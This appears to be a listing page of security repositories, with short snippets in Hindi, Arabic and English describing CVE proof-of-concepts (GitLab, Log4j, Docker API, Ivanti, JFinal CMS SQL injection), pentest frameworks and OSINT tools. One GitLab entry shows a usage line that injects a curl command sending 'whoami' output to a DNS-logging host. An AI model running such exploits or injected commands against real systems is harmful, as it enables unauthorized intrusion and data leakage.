-Ruby-dl-handle.c-CVE-2009-5147-

Ruby सलाहकार डेटाबेस Ruby सलाहकार डेटाबेस Ruby लाइब्रेरीज़ से संबंधित सभी सुरक्षा सलाहकारों को संकलित करने का एक सामुदायिक प्रयास है। आप अपने स्वयं के Gemfile.locks की इस डेटाबेस के विरुद्ध जाँच कर सकते हैं bundler-audit का उपयोग करके। Ruby सुरक्षा का समर्थन करें! क्या आपको ऐसी किसी भेद्यता के बा...

CVE-2023-0297

CVE-2023-0297 pyload 0.5.0b3.dev31 से पहले के संस्करणों में RCE। अस्वीकरण: यह स्क्रिप्ट किसी दूरस्थ प्रणाली तक अनधिकृत पहुँच या नियंत्रण की ओर ले जाती है; इसे केवल तभी उपयोग करें यदि आपके पास सिस्टम स्वामी से स्पष्ट अनुमति हो।...

CVE-2021-44228

CVE-2021-44228 إعادة إنتاج الثغرة 1. قم بتشغيل RmiServer أولاً لإنشاء خدمة سجل RMI. 2. قم بتشغيل Log4jTest، إذا كنت تستخدم Windows، ستظهر الآلة الحاسبة...

Python

بايثون...

poc-2025-9074

CVE-2025-9074 | Docker API CVE-2025-9074 PoC प्रूफ-ऑफ-कॉन्सेप्ट CVE-2025-9074 के लिए एक उन्नत शोषण फ्रेमवर्क, जो एकीकृत इंटरैक्टिव कमांड शेल के साथ अप्रमाणित Docker API एंडपॉइंट्स को लक्षित करता है। अवलोकन यह टूल बिना प्रमाणीकरण के उजागर Docker API इंस्टेंस के शोषण को स्वचालित करता है, जिससे लक्ष...

br0w

br0w Hack The Br0w | Play your browser and learn more, hack fun !! The Br0w is a simple web to learn about and about web security with a browser as a tool that sometimes people forget about more benefits. Maybe it's more like Capture The Flag CTF. One of the challenges is, disable css and base64...

CVE-2017-18345-COM_JOOMANAGER-ARBITRARY-FILE-DOWNLOAD

COMJOOMANAGER 2.0 - मनमाना फ़ाइल डाउनलोड प्लगइन: COMJOOMANAGER के साथ सामूहिक रूप से डेटाबेस एकत्र करना, CMS: Joomla से, परियोजना python 2.x में विकसित की गई है, अधिक जानकारी के लिए, youtube वीडियो देखें। CVE: 2017-18345 जोखिम : सुरक्षा जोखिम उच्च 0day.Today-ID: 29950 ExploitDB-id: 44252 0day db-...

CVE-2023-28324

CVE-2023-28324 CVE-2023-28324 के लिए POC जो Ivanti EPM को प्रभावित करता है। तकनीकी विश्लेषण भेद्यता का तकनीकी मूल कारण विश्लेषण हमारे ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/ सारांश यह POC AgentPortal.exe में एक भेद्यता का दुरुपयोग...

CVE-2021-22205

CVE-2021-22205 प्रभावित संस्करण: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 उपयोग root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-टोकन प्राप्त करें: /users/signin के माध्यम से csrf-टोकन प्राप्त करें, फिर पिछले CVE-2021-22205 poc का उपयोग करके अनधिकृत...

linkedin2username

linkedin2username أداة استخبارات المصادر المفتوحة OSINT: إنشاء قوائم بأسماء المستخدمين من الشركات على LinkedIn. هذه أداة كشط ويب خالصة، لا تتطلب مفتاح API. تستخدم اسم المستخدم وكلمة المرور الصالحين الخاصين بك في LinkedIn لتسجيل الدخول، وستقوم بإنشاء عدة قوائم بتنسيقات محتملة لأسماء المستخدمين لجم...

CVE-2022-37207

CVE-2022-37207 CVE-2022-37207 POC الوصف المقترح يتأثر JFinal CMS 5.1.0 بـ: SQL Injection. هذه الواجهات لا تستخدم نفس المكون، ولا تحتوي على مرشحات، ولكن كل منها يستخدم طريقته الخاصة في ربط SQL، مما يؤدي إلى SQL injection. معلومات إضافية...

CVE-2022-37206

CVE-2022-37206 CVE-2022-37206 POC अतिरिक्त जानकारी https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql2.md भेद्यता प्रकार SQL इंजेक्शन उत्पाद का विक्रेता डेवलपमेंट ग्रुप प्रभावित उत्पाद कोड बेस https://github.com/jflyfox/jfinalcms - JFinal CMS 5.1.0 प्रभावित घटक ये...

django_cve201919844

djangocve201919844poc PoC for CVE-2019-19844 Requirements Python 3.7.x PostgreSQL 9.5 or higher Setup 1. Create databasee.g. djangocve201919844poc 2. Set the database name to the environment variable DJANGODATABASENAMEe.g. export DJANGODATABASENAME=djangocve201919844poc 3. Run pip install -r...

CureIAM

CureIAM Clean up of over permissioned IAM accounts on GCP infra in an automated way CureIAM is an easy-to-use, reliable, and performant engine for Least Privilege Principle Enforcement on GCP cloud infra. It enables DevOps and Security team to quickly clean up accounts in GCP infra that have...

PiFinger

root@kitploit: | \ | | | | | | | | .--. .--./ .---. .--. | / | | | | .-. | / /';/ /\ /'\ | | | | | | | | | | | | \ .//| ., | | || || ||.', '..' --- Just for fun and security...

hakkuframework

Hakku Framework Hakku is a simple framework that is made for penetration testing tools. Hakku framework has a simple structure, basic CLI, and useful features for penetration testing modules development. Getting started Use the "help" command to see all available commands. Here is a video if you...

hakkuframework

إطار Hakku Hakku هو إطار بسيط مصمم لأدوات اختبار الاختراق. يتميز إطار Hakku ببنية بسيطة، وواجهة أوامر أساسية CLI، وميزات مفيدة لتطوير وحدات اختبار الاختراق. بدء الاستخدام استخدم الأمر help لرؤية جميع الأوامر المتاحة. إليك فيديو إذا كنت ترغب في رؤية Hakku قيد العمل: https://vimeo.com/197610469...

revsuit

RevSuit - A Flexible and Powerful Reverse Connection Platform English ｜简体中文 Overview RevSuit is a flexible and powerful reverse connection platform designed for receiving connection from target host in penetration. It currently supports HTTP, DNS, RMI, LDAP, MySQL and FTP protocols. Flexible: 1...

ranger

ranger सुरक्षा पेशेवरों को रिमोट माइक्रोसॉफ्ट विंडोज आधारित सिस्टम तक पहुंचने और उनके साथ बातचीत करने में सहायता करने के लिए एक उपकरण। यह परियोजना इस सोच के साथ बनाई गई थी, हमने धनुष या तीर का आविष्कार नहीं किया, बल्कि इसका उपयोग करने का एक अधिक कुशल तरीका बनाया। Ranger एक कमांड-लाइन संचालित हमले...

ranger

ranger A tool to support security professionals access and interact with remote Microsoft Windows based systems. This project was conceptualized with the thought process, we did not invent the bow or the arrow, just a more efficient way of using it. Ranger is a command-line driven attack and...